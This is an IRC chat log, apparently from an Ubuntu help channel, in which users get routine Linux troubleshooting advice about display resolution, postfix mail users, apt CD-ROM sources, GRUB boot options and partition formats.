[11:53] <OiPenguin> I've tried instaling Ubuntu previously but had to give up because I couldn't get online. How so I find out whether my hardware is supported and what do I do if it isn't? I've got an obscure, cheap USB-wireless.
[11:53] <mnoir> mcm832: doesn't sound like that is exactly what you want tho
[11:53] <craigbass1976> can someone tell me what ails this command?  mount -t smbfs //192.168.0.73/Documnents/ /mnt
[11:53] <un_operateur> mcm832, errm, not a good idea to have world-writeable files in /etc -- but anyway -- /etc/gdm/PostSession/Default
[11:53] <craigbass1976> I get wrong fs type, bad option, blahblah
[11:54] <stefg> kohr_: of course... gPared can deal with *existing* ntfs partitions to some extend, but can't (of course) make an ntfs partition, 'cos that's no  linux fs
[11:54] <craig> I have a 64 bit chip, but do I really need the 64 bit version of ubuntu, or will it give me headaches like windows 64 does?
[11:54] <un_operateur> mcm832, IIRc you can make your own script and place it in   /etc/gdm/PostSession
[11:54] <||cw> craig: I'd stick with the 32 bit
[11:54] <Super_Pollos> Hello! Im finally using ubuntu although its on a live CD as i dont want to uninstall windows XP but it seems to have a very low screen res. can I change that? the max it allows me to select is 1024x768
[11:54] <Flosoft2> why isn't there a way to see the console output while boot with the splashscreen
[11:54] <kohr_> stefg, so do i make it in wondows, or make it a fat32 fs?
[11:54] <Flosoft2> I know SuSE has an option to press F2 to see the console
[11:54] <Flosoft2> very good for debugging
[11:54] <craig> ok, i'll stick with 32 bit then thanks man
[11:55] <stefg> kohr_: if you need ntfs, make it in win
[11:55] <RememberPOL> Would there be any reason why my laptop's LCD doesn't blank while the lid is closed? (i come back two hours later and my keyboard is super hot..)
[11:55] <kohr_> stefg, I will just do fat32
[11:55] <un_operateur> Flosoft2, there is -- IIRC, when booting, at the grub menu .. select the kernel you want to boot into .. press 'e' .. and clear the words 'splash' from the end
[11:55] <Moose> ||cw: Do you know of any guides on how to setup postfix?
[11:56] <Moose> ||cw: Outside of the default configuration that is, like to setup user accounts and such?
[11:56] <||cw> Moose: postfix has a good one, but for a single domain mail server the defaults tend to work very well
[11:56] <stefg> kohr_: whatever floats your boat... but this is not the drive you are going to install ubutu on is it?
[11:56] <||cw> Moose: it will use system users
[11:57] <sarcevic> hi
[11:57] <Moose> ||cw: How would I go about creating a system user with no permissions except for sending/receiving email?
[11:57] <||cw> Moose: if you want vhosts and virtual users, you'll need some additional packages
[11:57] <Super_Pollos> how do you change the resolution setting in ubuntu higher than the available 1024x768 an it onyl allows me select that option, i have a monitor capable of 1280x1024
[11:57] <kohr_> stefg, i already have ubuntu on a drive
[11:57] <||cw> Moose: set the login shell to /bin/false.  they will still need a home dir though
[11:57] <sarcevic> i've a problem, how can I stop the execution of an operation?
[11:58] <stefg> kohr_: huh?... according to your paste it's completly unused
[11:58] <un_operateur> sarcevic, errm, what kind of operation ?
[11:58] <toulouse> hey guys, i tried installing another linux, so when it prompted me to install GRub, i said no,  because when i boot into ubuntu it says "grup loading (blahblahblah)", but now i dont know how to get into that other os
[11:58] <sarcevic> i done apt-get install apache2 but it ask me to insert a cdrom
[11:58] <Moose> ||cw: So for users who I don't want to have any permissionms, set their login shell to /bin/false? or is that a system wide change?
[11:58] <sarcevic> i can't now
[11:58] <||cw> Moose: if you can't find any clear ubuntu+postfix howto's, the debian ones should work just as well
[11:58] <sarcevic> the server is not here!
[11:58] <||cw> Moose: per user
[11:58] <kohr_> stefg, on another drive
[11:59] <Super_Pollos> leave
[11:59] <un_operateur> sarcevic, CTRL+C
[11:59] <stefg> kohr_: this is not the drive you are going to install ubutu on is it?
[11:59] <||cw> sarcevic: ctrl-c
[11:59] <sarcevic> thanks a lot!
[11:59] <kohr_> stefg, no, it is not the drive i am going to install ubuntu on
[11:59] <un_operateur> sarcevic, sometimes CTRL+D or CTRL+Z work too
[11:59] <||cw> sarcevic: then edit the /etc/apt/sources.list and comment out the cdrom line.  then apt-get update
[11:59] <Enverex> hmm, does anyone know if there are any repos for things like updated versions of what's in the official repos? (kinda annoying having to wait 4 months for program updates)
[11:59] <sarcevic> i'm so newbie (we call people like me "niubbo" in italy)
[11:59] <stefg> kohr_: so there's no mkfs.ntfs utility... ntfs can only be made in win
[12:00] <Moose> ||cw: Alright, and I need to make a home dir for each user, no matter if I want them to have access or not?
[12:00] <jmdc> I'm trying to set up network-manager, but it doesn't see any interfaces. Suggestions or pointers to documentation would be great
[12:00] <bradley> i have a super weird thing occurring! my music is not playing at the right speed.  i use rhythmbox and exaile.  what is happening!?
[12:00] <||cw> Moose: yes, for a place to store the email
[12:00] <bradley> (it is slowing down)
[12:00] <un_operateur> Enverex, if you want true bleeding edge, you should move to red-hat :) just kidding .. if you have the backports and security repos, you should be ok
[12:00] <kohr_> bradley are you speeding up instead?
[12:01] <Enverex> un_operateur, hrm, just wondering why things like OO2.1 aren't out then